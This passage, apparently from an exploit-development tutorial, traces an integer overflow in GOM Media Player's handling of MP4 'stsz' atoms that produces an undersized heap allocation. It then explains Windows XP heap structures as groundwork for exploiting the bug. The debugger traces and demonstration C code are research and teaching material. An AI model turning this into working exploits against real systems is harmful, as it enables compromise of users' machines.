    eip=06034939 esp=0012bdac ebp=050d9c38 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
    GSFU**!** DllUnregisterServer+0x23659:
    06034939 83eb0c          sub     ebx,0Ch
    eax=050d9d70 ebx=000000ec ecx=050d9d70 edx=80000027 esi=050d9c4c edi=050d9bb8
    eip=0603493c esp=0012bdac ebp=050d9c38 iopl=0         nv up ei pl nz ac po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212
    GSFU**!** DllUnregisterServer+0x2365c:
    **0603493c e8e6780600      call    GSFU**!** DllGetClassObject+0x29f07 (0609c227) ; Calloc**
    
    ...truncated..**.**
    
    eax=0012bd94 ebx=000000ec ecx=050d9d70 **edx=80000027 esi=00000004** edi=050d9bb8
    eip=05d5c236 esp=0012bd78 ebp=0012bda4 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
    GSFU**!** DllGetClassObject+0x29f16:
    **05d5c236 0faf750c        imul    esi,dword ptr [ebp+0Ch] ss:0023:0012bdb0=80000027**
    eax=0012bd94 ebx=000000ec ecx=050d9d70 **edx=80000027 esi=0000009c** edi=050d9bb8
    eip=05d5c23a esp=0012bd78 ebp=0012bda4 iopl=0         ov up ei pl nz na pe cy
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a07
    GSFU**!** DllGetClassObject+0x29f1a:
    05d5c23a 8975e0          mov     dword ptr [ebp-20h],esi ss:0023:0012bd84=0012d690
    
    ...truncated..**.**
    
    eax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 **esi=0000009c** edi=00000000
    eip=05d5c2a0 esp=0012bd78 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
    GSFU**!** DllGetClassObject+0x29f80:
    **05d5c2a0 56              push    esi ; Allocation Size**
    eax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000
    eip=05d5c2a1 esp=0012bd74 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
    GSFU**!** DllGetClassObject+0x29f81:
    **05d5c2a1 6a08            push    8 ; Flags**
    eax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000
    eip=05d5c2a3 esp=0012bd70 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
    GSFU**!** DllGetClassObject+0x29f83:
    **05d5c2a3 ff35a0cada05    push    dword ptr [GSFU**!** DllGetClassObject+0x7a780 (05dacaa0)] ds:0023:05dacaa0=05dc0000 ; HeapHandle**
    eax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000
    eip=05d5c2a9 esp=0012bd6c ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
    GSFU**!** DllGetClassObject+0x29f89:
    **05d5c2a9 ff15ece0d605    call    dword ptr [GSFU**!** DllGetClassObject+0x3bdcc (05d6e0ec)] ds:0023:05d6e0ec={ntdll**!** RtlAllocateHeap (7c9100c4)}**
    Breakpoint 1 hit
    eax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000
    eip=7c9100c4 esp=0012bd68 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
    ntdll**!** RtlAllocateHeap:
    7c9100c4 6804020000      push    204h
[/code]

When analyzing operations like this, I typically find it best to start from
the bottom up**.** Since we already know that our requested allocation size is
0x9C, we can begin at the point where the value 0x9C is provided as the
dwBytes argument for ntdll**\!** RtlAllocateHeap
\(GSFU\!DllGetClassObject+0x29f80\)**.**

The next thing we need to do is look for the instruction, prior to our push
instruction, that either introduces the value 0x9C to esi or modifies it**.**
Looking back a few lines, we see this instruction:

[code]

    eax=0012bd94 ebx=000000ec ecx=050d9d70 **edx=80000027 esi=00000004** edi=050d9bb8
    eip=05d5c236 esp=0012bd78 ebp=0012bda4 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206
    GSFU**!** DllGetClassObject+0x29f16:
    **05d5c236 0faf750c        imul    esi,dword ptr [ebp+0Ch] ss:0023:0012bdb0=80000027**
[/code]

Interesting**.** It appears that we’re performing signed multiplication of the
value contained in esi \(0×4\) and our “Number of Entries” element within the
“stsz” atom \(as pointed to by our stack entry located at 0x0012bdb0\)**.**
This makes sense since Calloc, as we had previously discussed, will perform an
allocation of data with a size of \(Number of Elements \* Size of
Elements\)**.** However, there seems to be a problem with our math**.** When
multiplying 0×80000027 \* 0×4, our result should be 0x20000009C rather than
0x0000009C**.** The reason for this is that we’re attempting to store a value
larger than what our 32 bit register can hold**.** When doing so, an integer
overflow occurs and our result is “wrapped,” causing only the 32 least
significant bits to be stored in our register**.**

With this, we can control the size of our allocations by manipulating the
value contained within our “Number of Entries” element**.** By allocating a
chunk smaller than the data we intend to write, we can trigger a heap
overflow**.**

However, the root cause of our issue is not exactly as clear as it may
seem**.** When we looked at our function in IDA Pro earlier, we determined
that rather than using the CRT version of calloc \(msvcrt**\!** calloc\), GOM
used a wrapped version instead**.** Had the actual Calloc function been used,
this vulnerability would not exist**.** To explain this, let’s take a look at
the code snippet below:

[code]

    #include <stdio**.** h>
    #include <malloc.h>
    
    int main( void )
    {
    
        int size = 0x4;             // Size of Element
        int num = 0x80000027;	// Number of Elements
        int *buffer;
        printf( "Attempting to allocate a buffer with size: 0x20000009C" );
        buffer = (int *)calloc( size, num ); // Size of Element * Number of Elements
        if( buffer **!** = NULL )
          printf( "Allocated buffer with size (0x%X)\n",  _msize(buffer) );
        else
          printf( "Failed to allocate buffer**.** \n" );
        free( buffer );
    }
[/code]

The example above demonstrates a valid \(albeit it, not the best\) use of the
Calloc**.** Here we’re trying to allocate an array with a size of 0x200000009C
\(0×4 \* 0×80000027\)**.** Let’s see what would happen if we were to compile
and run this code:

[code]

    Attempting to allocate a buffer with size: 0x200000009C
    Failed to allocate buffer**.**
[/code]

Interesting. Calloc will fail to allocate a buffer due to checks intended in
detect wrapped values**.** Under Windows XP SP3, this functionality can be
seen in the following 2 instructions**.**

[code]

    eax=ffffffe0 ebx=00000000 ecx=00000004 edx=00000000 esi=016ef79c edi=016ef6ee
    eip=77c2c0dd esp=0022ff1c ebp=0022ff48 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    msvcrt**!** calloc+0x1a:
    77c2c0dd f7f1            div     eax,ecx
    eax=3ffffff8 ebx=00000000 ecx=00000004 edx=00000000 esi=016ef79c edi=016ef6ee
    eip=77c2c0df esp=0022ff1c ebp=0022ff48 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    msvcrt**!** calloc+0x1c:
    77c2c0df 3b450c          cmp     eax,dword ptr [ebp+0Ch] ss:0023:0022ff54=80000027
[/code]

Here we can see that the \(near\) maximum value for a 32 bit register
\(0xFFFFFFE0\) is divided by our first argument supplied to Calloc**.** The
result is then compared against the second value supplied to calloc**.** If
the second value is larger, Calloc is able to determine that an integer
overflow will occur and exit**.**

However, the \_Calloc function found in the GSFU module, unlike msvcrt**\!**
calloc, does not contain this check**.** Take a look at the following example:

[code]

    #include <stdio**.** h>
    #include <malloc**.** h>
    
    int _calloc( size_t num, size_t size )
    {
        size_t total = num * size;  // Integer overflow occurs here
        return (total);
    }
    
    int main( void )
    {
        int size = 4;               // Size of Element
        int num = 0x80000017;       // Number of Elements
        int *buffer;
        int chunk_size = _calloc( size, num );
        printf ("Attempting to allocate a buffer with size: 0x%X\n", chunk_size);
        buffer = (int *)malloc(chunk_size);
        if( buffer **!** = NULL )
              printf( "Allocated buffer with size (0x%X)\n",  _msize(buffer) );
        else
          printf( "Failed to allocate buffer**.** \n" );
        free( buffer );
    }
[/code]

Here we can see that instead of using the actual calloc function, we’re
multiplying our two values \(“Element Size” and “Number of Elements”\) and
storing the result in a variable called “chunk\_size”**.** That value is then
supplied as the size argument to malloc**.**

Using the values from our mutated seed, let’s take a look at our sample
program’s output:

[code]

    Attempting to allocate a buffer with size: 0x9C
    Allocated buffer with size (0x9C)
[/code]

As we expected, the application readily accepts our wrapped value \(0x9C\) and
provides this as the size argument being supplied to malloc**.** This in turn
will cause our buffer to be undersized allowing our heap overflow to
occur**.**

### Determining Exploitability****

Excellent**.** So with that, we’ve successfully identified the root cause of
our exception**.** Let’s summarize what we’ve already discovered:

  * We’ve determined that by manipulating the “Number of Elements” entry within the “stsz” atom, we can trigger an integer overflow**.**
  * The result of this integer overflow \(wrapped value\) is then supplied to ntdll**\!** RtlAllocateHeap causing an undersized buffer to be created**.**
  * The contents of our “Sample Size Table” is then written to our buffer**.** However, since the “Sample Size Table” is larger, we’re able to write beyond the boundary of our chunk \(heap overflow\)**.**

As with our previous vulnerability \(KMPlayer\), this level of control
actually provides us with a number of ways to exploit this issue**.**

#### Challenges****

Before we continue I’d like to outline some of the challenges we will face
when attempting to exploit this issue \(if for no other reason than to garner
some sympathy for my likely “unreliable” techniques\)**.**

  * First, when dealing with heap issues, it is incredibly helpful to have some level of control over the heap layout**.** Allocations from the heap are dynamic and as such, the locations of these allocations will likely not be predictable**.** This is one reason why exploit writers will often leverage heap spraying in order to massage the heap into a deterministic state, allowing them to create predictable or semi-predictable locations in memory**.** Historically, this has been accomplished by calling the vulnerable application via it’s web browser plug-in \(ActiveX\) when available, and then leveraging a scripting language \(typically JavaScript\) in order to perform a series of allocations of user controlled data**.** Recently, our very own corelanc0d3r developed DEPS , which is a new method for performing a precise heap spray, allowing the exploit writer to point to an exact, reliable location in memory in order to access user supplied data**.** Unfortunately, GOM Media Player does not ship with a working version of it’s ActiveX control allowing us to call it via a web browser \(an ActiveX object is included in the release, however it appears to have been built for a significantly older version and is functionally broken for this release\)**.** With that said, we either need to find another way to create a deterministic heap state or be incredibly lucky**.**
  * Next, most of the modules included with GOM Media Player are rebased**.** This means that we cannot reference any data from these modules directly as the addresses will likely change**.** The importance of this will be demonstrated in a bit**.**
  * And finally, anyone who has attempted to develop exploits based on the QuickTime \(MPEG\) file format can tell you that the working with the file format is not pleasant**.** Allocations are typically done on a per atom \(and sub-atom\) basis**.** Attempts to manipulate allocations and frees in order to control the heap layout are either incredibly difficult, or at times, impossible**.**

#### Prerequisites****

In this article we will cover a number of basic concepts of the Windows XP SP3
heap manager**.** Rather than attempting to poorly reiterate the incredible
work done by actual researchers in the past, I highly recommend that you read
the following two documents as prerequisites prior to beginning this
section**.**

I cannot stress enough the importance of the documents listed above**.** The
intention of this article is to apply heap exploitation techniques discovered
in the past to our GOM specific vulnerability**.** In order to do so, I must
first reiterate a great deal of information that has already been explained
\(with greater depth and clarity\) in the 2 documents listed above**.** This
document is not intended to be a definitive guide and should not be used as
one**.**

#### Heap Basics****

Each application by default is provided with a singular heap, known as the
default or process heap, to perform memory management functions**.** As
application complexity increases and more requests are handled by the heap
manager, an application can greatly improve performance by creating
additional, private heaps**.** This is done by calling the HeapCreate
function**.** Under WinDbg, you can enumerate a list of all active heaps by
using the **\!** heap extension.

[code]

    0:000> !heap
    Index   Address  Name      Debugging options enabled
      1:   00250000                
      2:   00360000                
      3:   00370000
[/code]

Each heap contains a very important structure known as the heap base**.** This
structure maintains information about the heap and it’s capabilities, as well
as data regarding additional, referenced structures**.** Under WinDbg, you can
enumerate the heap base structure by using the \_HEAP variable name**.**

[code]

    0:000> dt _HEAP 00250000                
    ntdll**!** _HEAP
       +0x000 Entry            : _HEAP_ENTRY
       +0x008 Signature        : 0xeeffeeff
       +0x00c Flags            : 2
       +0x010 ForceFlags       : 0
       +0x014 VirtualMemoryThreshold : 0xfe00
       +0x018 SegmentReserve   : 0x100000
       +0x01c SegmentCommit    : 0x2000
       +0x020 DeCommitFreeBlockThreshold : 0x200
       +0x024 DeCommitTotalFreeThreshold : 0x2000
       +0x028 TotalFreeSize    : 0x86
       +0x02c MaximumAllocationSize : 0x7ffdefff
       +0x030 ProcessHeapsListIndex : 1
       +0x032 HeaderValidateLength : 0x608
       +0x034 HeaderValidateCopy : (null) 
       +0x038 NextAvailableTagIndex : 0
       +0x03a MaximumTagIndex  : 0
       +0x03c TagEntries       : (null) 
       +0x040 UCRSegments      : (null) 
       +0x044 UnusedUnCommittedRanges : 0x00250598 _HEAP_UNCOMMMTTED_RANGE
       +0x048 AlignRound       : 0xf
       +0x04c AlignMask        : 0xfffffff8
       +0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x250050 - 0x250050 ]
       +0x058 Segments         : [64] 0x00250640 _HEAP_SEGMENT
       +0x158 u                : __unnamed
       +0x168 u2               : __unnamed
       +0x16a AllocatorBackTraceIndex : 0
       +0x16c NonDedicatedListLength : 1
       +0x170 LargeBlocksIndex : (null) 
       +0x174 PseudoTagEntries : (null) 
       +0x178 FreeLists        : [128] _LIST_ENTRY [ 0x259bd8 - 0x259bd8 ]
       +0x578 LockVariable     : 0x00250608 _HEAP_LOCK
       +0x57c CommitRoutine    : (null) 
       +0x580 FrontEndHeap     : 0x00250688 Void
       +0x584 FrontHeapLockCount : 0
       +0x586 FrontEndHeapType : 0x1 ''
       +0x587 LastSegmentIndex : 0 ''
[/code]

Using either the default heap or private heaps, an application can then
request \(allocate\) a region of memory to be used by the application**.**
This can be performed by using several commands including but not limited to
HeapAlloc , malloc , and new **.** Although the syntax of each command
differs, the result is generally the same with a call being made to the
ntdll**\!** RtlAllocateHeap  function in order to directly reserve our
requested region of memory**.**

Now as the heap manager receives these requests, it will need to identify a
suitable block to return back to the user**.** In order to identify which
block to return, the heap manager will first check the front-end heap
manager**.** If the front end heap manager can not service this request, the
back end heap manager will be checked**.** In most cases, the back-end heap
manager will be able to service the request\* **.**

> In rare cases where both the front-end and back-end managers are unable to
> service application requests, the heap will reserve the memory directly from
> an associated UCR segment**.** More information can be found on this
> structure in Practical Windows XP/2003 Exploitation by McDonald and
> Valasek**.**
Now in it’s most basic form, the front-end and back-end heap managers can
simply be thought of as structures which maintain a list of pointers to free
blocks \(free blocks are simply regions of memory assigned to a particular
heap that are ready for allocation\)**.** Under Windows XP, the front-end heap
manager can exist \(or not exist\) in 3 forms: none, Lookaside Lists \(LAL\),
or under rare cases the Low Fragmentation Heap \(LFH\)\* **.** For the purpose
of this article, we will only be discussing the Lookaside Lists \(LAL\)**.**

> Beginning with Windows Vista and beyond, the Low Fragmentation Heap \(LFH\)
> is the default front-end heap manager**.**
##### Lookaside Lists****

Now as I mentioned, when an allocation request is issued, the heap manager
will first check the front-end heap manager**.** Under Windows XP, this will
\(in nearly all cases\) be the structure known as the Lookaside List
\(LAL\)**.** The LAL is used to service memory requests of 1016 bytes or less
\(plus 8 bytes for the heap entry header\)**.** Requests for memory regions
larger than 1016 bytes will be forwarded to the back-end heap manager**.**

A pointer to this structure is located at offset +0×580 from the \_HEAP
base**.**

[code]

       +0x580 FrontEndHeap     : 0x00250688 Void
[/code]

Now the top level hierarchy of the LAL structure contains 127 lists**.** Each
list is associated with a LAL entry for that particular size**.** This creates
a logical layout similar to the following:

[code]

    Lookaside[0] # Unused 
    Lookaside[1] # Unused 
    Lookaside[2] # Size: 16 (0x10) – 0x8 (Header)  Usable Size: 8 (0x8)
    Lookaside[3] # Size: 24 (0x18) - 0x8 (Header)  Usable Size: 16 (0x10)
    <…truncated…>
    Lookaside[127] # Size: 1016 (0x3F8) - 0x8 (Header)  Usable Size: 1008 (0x3F0)
[/code]

Each list head is 0×30 bytes in length and has the following structure:

[code]

    Flink: Ptr32
    Depth: Uint2B
    Sequence: Uint2B
    Depth2: Uint2B
    MaximumDepth: Uint2B
    TotalAllocates: Uint4B
    AllocateMisses/AllocateHits: Uint4B
    TotalFrees: Uint4B
    FreeMisses/FreeHits: Uint4B
    Type: Uint4B
    Tag: Uint4B
    Size: Uint4B
    Allocate: Uint4B
    Free: Uint4B
[/code]

Please note, that the Flink, or forward link pointer, points to the first
chunk in the list**.** If this value is NULL, this means that this list head
is empty and does not reference any LAL chunks**.** A chunk on the LAL will
have the following structure:

[code]

    Self Size: Uint2B  -  Size of current chunk
    Previous Size: Uint2B  -  Size of previous Chunk
    Chunk Cookie: Uint1B  -  Security Cookie
    Chunk Flag: Uint1B
    Unused: Uint1B
    Segment Index: Uint1B
    Flink: Ptr32  -  Pointer to next chunk in current list
[/code]

Please note that the Flink in this case will point to the next chunk in the
list**.** If this value is NULL, this means this is the last chunk in our
list**.**

This all may seem quite confusing at first**.** However, let’s see if we can
put it all together by analyzing the following scenario**.** Consider for a
moment, that we have an active Lookaside list associated with our default heap
\(0×00160000\), with multiple entries on LAL nodes 2 and 3 \(sizes 16 and 24
bytes respectively\)**.** This would create a logical structure similar to the
following:

> Please note: This information was generated using the “**\!** py mona heap
> -h 0×00160000 –t fea” command. Please see mona’s help output for further
> information**.**
[code]

    LAL [2] @0x0016006e8, Expected Chunksize 0x10 (16), Flink : 0x00163730
      3 chunks:
         ChunkPtr: 0x00163728, UserPtr: 0x00163730, Flink: 0x00164498, ChunkSize: 0x10, UserSize: 0x4, Userspace: 0x8 (Busy) 
         ChunkPtr: 0x00164490, UserPtr: 0x00164498, Flink: 0x00164228, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy) 
         ChunkPtr: 0x00164220, UserPtr: 0x00164228, Flink: 0x00000000, ChunkSize: 0x10, UserSize: 0x8, Userspace: 0x8 (Busy) 
    
    LAL [3] @0x00160718, Expected Chunksize 0x18 (24), Flink : 0x00164238
      2 chunks:
         ChunkPtr: 0x00164230, UserPtr: 0x00164238, Flink: 0x00164210, ChunkSize: 0x18, UserSize: 0xc, Userspace: 0x10 (Busy) 
         ChunkPtr: 0x00164208, UserPtr: 0x00164210, Flink: 0x00000000, ChunkSize: 0x18, UserSize: 0x10, Userspace: 0x10 (Busy)
[/code]

Now let’s break it down**.** Here we can see that there are 3 entries
associated with LAL \[2\]**.** The chunk size for these entries are 0×10 bytes
with 0×8 bytes of usable space \(as 0×8 bytes are reserved for the chunk
header\)**.** The Flink of our list head points to the first chunk in this LAL
at address 0×00163730**.** Looking at our list, we can see our chunk as
designated by the ChunkPtr with an address of 0×00163728**.** This chunk has a
Flink of 0×00164498 which points to the next chunk in or list**.** Continuing
along the chain, we see that our final chunk has a Flink of 0×00000000**.**
This means that this is the final chunk in the list**.**

This method of pointing to, or identifying the next chunk in the list, creates
what is known as a "singly-linked" list**.** Meaning that we have 1 variable
which will always point to the next chunk in the list until we’ve reached the
end**.**

Looking at our second list head \(LAL \[3\]\), we see much of the same**.**
There are 2 chunks associated with this list. The Flink on the list head
points to a chunk at 0×00164230 and this chunk has a Flink pointing to the
final chunk on the list with an address of 0×00164210**.** These entries are
of course 0×18 bytes in size with 0×10 bytes of usable space**.**

Now if the application were to request 0×10 bytes of space, the heap manager
would begin looking at the Lookaside List**.** It would traverse the list
until it landed upon LAL \[3\]**.** You may be wondering however, why the heap
manager wouldn’t select LAL\[2\] to service this allocation**?** Well,
remember that although the list size is 0×10 bytes, 0×8 bytes are reserved for
the chunk header**.** So instead, LAL \[3\] would be chosen as it would be
able to provide the 0×10 bytes of usable space needed by the application**.**
Now when attempting to allocate data from the LAL, chunks are handled in a
last in, first out \(LIFO\) order**.** Since freed chunks are placed at the
beginning of the list, the first chunk in the list will be the one that is
returned to the application when an allocation request of the same size is
received**.**

So back to our list. If an allocation request is received for 0×10 bytes, the
application would identify LAL \[3\], follow the Flink of the list head which
points to 0×00164498 and return this chunk**.** This process is called
“unlinking” as the free chunk is unlinked from the Lookaside List and
returned**.** This would leave the list looking like this:

[code]

    LAL [3] @0x00160718, Expected Chunksize 0x18 (24), Flink : 0x00164210
      1 chunk:
         ChunkPtr: 0x00164208, UserPtr: 0x00164210, Flink: 0x00000000, ChunkSize: 0x18, UserSize: 0x10, Userspace: 0x10 (Busy)
[/code]

So here we can see that our chunk has been removed and that the Flink of the
list head has been updated to point to the next Chunk in the list**.** This
means that the next request with a size of 0×10 bytes will be return
0×00164210 \(assuming no new chunks have been freed, or “linked” to
LAL\[3\]\)**.**

Excellent. Now that we’ve covered that, we can move on to the back end
allocator also known as the Freelists**.** However, as many of these
principals will also apply to the Freelists, it is very important that you
understand the LAL structure before moving on**.**

##### Freelists****

As I mentioned earlier, if a request cannot be serviced by the front end
allocator, in this case the Lookaside Lists, it is then forwarded on to the
backend allocator**.** Under Windows XP \(and later versions\), this is known
as the Freelists**.** It’s important to understand that allocation requests
may be forwarded to the Freelists for one of two reasons**.** First, if the
allocation request is for a size greater than 1016 bytes \(the maximum size
handled by the LAL\), the request will be forwarded on to the Freelists**.**
Also, if an allocation request is issued for a size not present on the LAL,
meaning that no chunks are available for that size, it’ll be forwarded on to
the Freelists**.**

As with the LAL, a pointer to the Freelists structure can be found at offset
+0×178 from the heap base**.** Furthermore, like the LAL, each list head entry
on the Freelists is organized based upon size**.** This size equates to the
list head position \* 0×8 \(just like the LAL\)**.** The only exception to
this rule is Freelist\[0\], which is responsible for managing all requests
greater than 1024 bytes**.** Consider the following layout.

[code]

    Freelist[0] # Manages all sizes > 1024 
    Freelist[1] # Unused 
    Freelist[2] # Size: 16 (0x10)
    Freelist[3] # Size: 24 (0x18)
    <…truncated…>
    Freelist[127] # Size: 1016
[/code]

Each Freelist list head has the following structure:

[code]

    ntdll**!** _LIST_ENTRY
       +0x000 Flink            : Ptr32 _LIST_ENTRY
       +0x004 Blink            : Ptr32 _LIST_ENTRY
[/code]

The Flink, or forward link pointer in the list head will point to the first
free chunk in the list entry**.** The Blink, or backward link pointer, will
point to the UserPtr of the last chunk in the list**.** If however, the list
is empty, both the Flink and Blink will point to themselves**.**

Using the \_LIST\_ENTRY variable, we can enumerate a bit about the Freelist
structure**.** In this example, we’ll be looking at Freelist\[0\] belonging to
the heap at 0×00160000**.**

> Please note, the addresses of the list heads will always have a static
> offset from the heap base**.** For instance, Freelist\[0\] will always exist
> at offset +0×178 from the heap base**.**
[code]

    0:012> dt _LIST_ENTRY 00160178
    ntdll**!** _LIST_ENTRY
     [ 0x51b4468 - 0x51b6010 ]
       +0x000 Flink            : 0x051b4468 _LIST_ENTRY [ 0x51b6010 - 0x160178 ]
       +0x004 Blink            : 0x051b6010 _LIST_ENTRY [ 0x160178 - 0x51b4468 ]
[/code]

Here we can see that Freelist\[0\] is not in fact, empty**.** If it were, both
the Flink and Blink would have pointers to 0×00160178**.** On the contrary
however, following the Flink we can see that the UserPtr of the first chunk in
the list is located at 0x051B4468**.** We can also see that the UserPtr of the
last chunk in the list is located at 0x051B6010**.** This however, leaves
quite a bit unanswered as we don’t currently know how many chunks belong to
Freelist\[0\]**.** Before we determine that, we first must discuss the
structure of the chunks belonging to the Freelists**.**

[code]

    Self Size: Uint2B  -  Size of current chunk
    Previous Size: Uint2B  -  Size of previous Chunk
    Chunk Cookie: Uint1B  -  Security Cookie
    Chunk Flag: Uint1B
    Unused: Uint1B
    Segment Index: Uint1B
    Flink: Ptr32  -  Pointer to next chunk in current list
    Blink: Ptr32  - Pointer to previous chunk in current list
[/code]

As with the Freelist list head, we can see that the Freelists chunks
themselves also contain Flink and Blink pointers**.** In this case, the Flink
in Blink pointers are used to point to the chunk prior to and after the
current chunk, depending on the location in the list**.** In the case of the
first chunk in the list, the Blink would point back to the list head**.** In
the case of the last chunk in the list, the Flink would also point back to the
list head**.** This creates what is known as a doubly-linked list as every
element in the structure contains a pointer to identify the elements which
precede and follow the current element**.**

Once again, let’s evaluate the following Freelist in order to better
understand its structure**.** Again, using the example of our default heap
\(0×00160000\):

> This information can be derived using the following **\!** mona command:
> **\!py mona heap -h 0×00160000 -t bea**
[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x0018f8c8, Header: 0x8 bytes, UserPtr: 0x0018f8d0, Flink: 0x00191e40, Blink: 0x00160178, ChunkSize: 0x1da8 (7592), Usersize: 0x1d9e (7582) 
         ChunkPtr: 0x00191e38, Header: 0x8 bytes, UserPtr: 0x00191e40, Flink: 0x00181218, Blink: 0x0018f8d0, ChunkSize: 0x21c8 (8648), Usersize: 0x21c0 (8640) 
         ChunkPtr: 0x00181210, Header: 0x8 bytes, UserPtr: 0x00181218, Flink: 0x00160178, Blink: 0x00191e40, ChunkSize: 0x9600 (38400), Usersize: 0x95f8 (38392) 
    [+] FreeList[02] at 0x00160188, Expected size: 0x10 (16)
         ChunkPtr: 0x0017cdc0, Header: 0x8 bytes, UserPtr: 0x0017cdc8, Flink: 0x00169280, Blink: 0x00160188, ChunkSize: 0x10 (16), Usersize: 0x8 (8) 
         ChunkPtr: 0x00169278, Header: 0x8 bytes, UserPtr: 0x00169280, Flink: 0x00160188, Blink: 0x0017cdc8, ChunkSize: 0x10 (16), Usersize: 0x8 (8) 
    [+] FreeList[03] at 0x00160190, Expected size: 0x18 (24)
         ChunkPtr: 0x0018dac0, Header: 0x8 bytes, UserPtr: 0x0018dac8, Flink: 0x00160190, Blink: 0x00160190, ChunkSize: 0x18 (24), Usersize: 0x10 (16)
[/code]

Looking at Freelist\[0\], we can see that there are 3 chunks, each of which is
greater than 1024 bytes**.** Looking at the first chunk, we can see that the
Flink points to the UserPtr of the next chunk**.** The Blink however in this
case, points back to the list head**.** The second chunk in the list again has
a Flink pointing to the next chunk and a Blink pointing back to the first
chunk**.** This behavior continues with the remaining chunks in the list with
the exception of our final chunk**.** In order to complete our doubly-linked
list, we can see that the final chunk contains a Flink which points back to
the list head**.**

With Freelist\[2\], we again see much of the same**.** Here we have 2 chunks,
our first of which contains a Flink to the next chunk and a Blink pointing
back to the list head**.** Our second chunk contains a Blink pointing back to
the first chunk and a Flink pointing to the list head**.**

Freelist\[3\] however, we can see that as there is only a single chunk in the
list, both the Flink and Blink point back to the list head**.**

Now consider the following scenario**.** If the application were to issue an
allocation request for 8000 \(0x1F40\) bytes, the heap manager would first
evaluate the size and determine that it is too large to be serviced by the
LAL**.** With this, the request would then be forwarded on to the
Freelists**.** As the requested size is greater than 1024 bytes, the heap
manager would then begin traversing Freelist\[0\] as this is the only list
which tracks chunks greater than 1024 bytes**.** Moving along the list, the
heap manager would select the 2nd chunk in Freelist\[0\] as it is the first
chunk in the list larger than 8000 bytes**.** However, we run into a slight
issue as the chunk we’ve selected is actually larger than the chunk size
requested \(8648 > 8000\)**.** What ends up happening is that the heap manager
will “unlink” the 8000 bytes requested by the application**.** Then, a new
chunk will be created using the 648 bytes remaining \(640 bytes actually as we
must account for 8 bytes for the heap header\)**.** As this chunk is no longer
greater than 1024 bytes, it will be moved to a Freelist\[80\]\*\*\* \(which
manages chunks 640 \(0×280\) bytes in length\)**.** The chunks in
Freelist\[0\] will then have their Flink and Blink pointers updated to account
for the now missing chunk**.**

> \*\*\*Please note: When a chunk is resized, a new independent chunk is not
> always created**.** If the remaining space is adjacent to other free heap
> chunks, this space may then be coalesced, or combined, with the adjacent
> heap chunks to create a singular, larger heap chunk**.** Again, a
> significantly better and more thorough explanation can be found in Practical
> Windows XP/2003 Exploitation  by McDonald and Valasek**.**
The result of this allocation request would then modify our Freelist structure
as follows:

[code]

    [+] FreeList[00] at 0x00160178, Expected size: >1016 (>0x3f8)
         ChunkPtr: 0x0018f8c8, Header: 0x8 bytes, UserPtr: 0x0018f8d0, Flink: 0x00181218, Blink: 0x00160178, ChunkSize: 0x1da8 (7592), Usersize: 0x1d9e (7582) 
         ChunkPtr: 0x00181210, Header: 0x8 bytes, UserPtr: 0x00181218, Flink: 0x00160178, Blink: 0x0018f8d0, ChunkSize: 0x9600 (38400), Usersize: 0x95f8 (38392) 
    [+] FreeList[02] at 0x00160188, Expected size: 0x10 (16)
         ChunkPtr: 0x0017cdc0, Header: 0x8 bytes, UserPtr: 0x0017cdc8, Flink: 0x00169280, Blink: 0x00160188, ChunkSize: 0x10 (16), Usersize: 0x8 (8) 
         ChunkPtr: 0x00169278, Header: 0x8 bytes, UserPtr: 0x00169280, Flink: 0x00160188, Blink: 0x0017cdc8, ChunkSize: 0x10 (16), Usersize: 0x8 (8) 
    [+] FreeList[03] at 0x00160190, Expected size: 0x18 (24)
         ChunkPtr: 0x0018dac0, Header: 0x8 bytes, UserPtr: 0x0018dac8, Flink: 0x00160190, Blink: 0x00160190, ChunkSize: 0x18 (24), Usersize: 0x10 (16) 
    [+] FreeList[80] at 0x001603f8, Expected size: 0x280 (640)
         ChunkPtr: 0x00193d80, Header: 0x8 bytes, UserPtr: 0x00193d88, Flink: 0x001603f8, Blink: 0x001603f8, ChunkSize: 0x280 (640), Usersize: 0x280 (640)
[/code]

Here we can see that Freelist\[0\] now contains only 2 chunks**.** Boh of
which have had their Flink and Blink pointers updated so that they point at
each other**.** Furthermore, we can see the addition of our chunk at
Freelist\[80\]**.**

#### Preventative Security Measures****

##### Safe-Unlinking****

Now before we attempt to exploit this bug there’s a few minor details that we
must cover**.** Prior to Windows XP SP2, gaining an 4 byte arbitrary write was
a fairly straightforward process**.** Although at the time, not many people
were exploiting heap based bugs as the amount of documentation regarding the
subject was very limited**.** One method available targeted the unlink process
of chunks belonging to a doubly-linked list**.**

> Now although we’ve only discussed the Freelists in this manner, I must
> mention that VirtualAllocd chunks are also maintained using a doubly linked
